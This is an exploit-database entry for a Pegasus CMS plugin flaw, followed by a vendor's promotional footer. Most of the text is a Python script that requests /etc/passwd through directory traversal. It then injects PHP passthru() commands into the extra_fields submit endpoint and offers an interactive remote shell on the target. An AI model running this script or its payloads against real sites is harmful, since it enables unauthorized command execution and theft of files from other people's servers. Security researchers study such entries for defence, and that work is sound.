# Exploit Title: Pegasus extra_fields.php Plugin Remote Code Execution
# Date: 14 March 2019
# Exploit Author: R3zk0n
# Vendor Homepage: https://www.wisdom.com.au/web/pegasus-cms
# Software Link: N/A
# Version: 1.0
# Tested on: Linux
# CVE : N/A
The Pegasus CMS is vulnerable to directory travaseral and Remote code execution due to the way the extra_fields.php plugin functions.
The Plugin can be exploited using the safer eval trick linked below http://justanotherhacker.com/2016/04/analysis_of_the_safer_eval_rce_aka__the_wahckon_bug.html to obtain remote code execution
Exploit attached below:
#Eval is secure.. not really.
# These Greetz to people who are smart, Wireghoul, Nano, Silverly, m3mantra, and leostat. and z3al
requests.packages.urllib3.disable_warnings()
banner = '''
Welcome to the DANGER ZONE.
;;J,ss,g,;
,s#@##"""77"^""77""@@Mw,
,#@#C7: ,, *^*@@@w
;@#7. ;#@#. ]ssmMMm#@@@m,
,##\` ,< ,@@@@Q ,,#@#*7` ;s@@@@@@@@@Q
;@#` ]@C ;@@@@@@@@@@"\ ;@@@@@@@@@@@@@@@m
@#\ #@@w#@@@@@@@@@@#~ @@@#M5"7j5#@@@@@@@@Q
;@C @@@@@@@@@@@@@@#\ @#\, *77@@@k
##. #@@@@@@@@@@@@@# '* {@@@
@#` a@@@@@@@@@@@@@@L *%@@
{@* ]@@@@@@@@@@@@@@#C* "@@
.@b;,s#@@@@@@@#@@#@@@@@@#C* ;s#@@@@@@m, j@b
@@@#@@@@@@@@@@@@@@@@@@#C =* ,ppJJs#@@@@@@@@@@@@@k @@
@#1@@@@@@@@@@@@@@@@#W~ ;@QQ@@@@@@@@@#` `|7@@@@~ ]@p
@[ @@5"@@@@@@@@@@#~ s@@@@@####@@@@@#\ @@@b ]@b
@[ @ j@@@@@@@@~]#"7 "@@#"\ 7@@C @@@b ]@b
@@ @@@@@@@@@@c ^@@ ]@ ,@@@# @@b
@@~ @ @@@@@@@@@@@b @# a@@@@" ]@@
j@Q @@@@@@@@@@@@@@@@o ,J ]\ s@@@@#"` ]@@L
]@b ]@@@@@@@@@@@@@@@@o ,@@@@> ;@@@@@#^ #@@#
@@Q """%*577"%@@@@@@# ]@@@@@C ;@@@@#C ;@@@#*
%@m @@@@@@@ .@@@@@# {@@@@@> s@@@@#*
7@@ @@M@@@@@k ^@@@"# @@@@@@@@@@@@@@@#
*@@m @@bj@@@b@@@o|"^]# %@@@@@@#M7@@#^
7@@m "# @@# @@7@@@@@@~ ^||:`,#@#C
^%@@m j @b j# \@@@@@@ ,#@@#
`7@@@mJ 7 ' |%@@@@@m, -g,ss#@@@@#C
`7%@@@Mm, `7"%####@@MMMM#@@@#M7.
^7@@@@@@@@@@@@@@@@@@@@#MT^:
`~^"7""""7^\*:
Chimeria Exploit.
pegausCMS Exploit's.
'''
print banner
raw_url = raw_input("Please enter a domain name: \n")
def dir_Trav(raw_url):
print "Checking for directory travseral..\n"
dir_list = requests.get("https://www."+ raw_url + "/file/includes/template/inc/test.cgi?&filename=/../../../../../../../../etc/passwd", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", "Cache-Control": "max-age=0"})
print dir_list.content
return
print "Trying to execute directory travseral"
dir_Trav(raw_url)
r = requests.get("http://" + raw_url)
print "Checking Status code: %s" % r.status_code
if r.status_code == 200:
print "Connected"
print "Checking is using vulnerable CMS."
vuln = "http://" + raw_url + "/file/includes/plugins/globalFields/submit.php"
b = requests.get("http://" + raw_url + "/file/includes/plugins/globalFields/submit.php")
print "Checking CMS Status: %s " % b.status_code
if b.status_code == 200:
print "Seems exploitable.. Lets try to list the files!"
print raw_url
list_files = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"ls -lah\");exit;phpinfo"})
print list_files.content
status = list_files.status_code
while status == 200:
try:
ShellCheck = raw_input("Shell>").strip()
Shell = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"{}\");exit;phpinfo".format(ShellCheck)})
print Shell.content
if ShellCheck == "exit":
sys.exit(0)
except KeyboardInterrupt:
print "Your exited bye"
sys.exit(0)
else:
print "Connected but does not seem exploitable. \n"
print "Bye!!!!!!!!!! \n"
else:
print "Not connected"Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation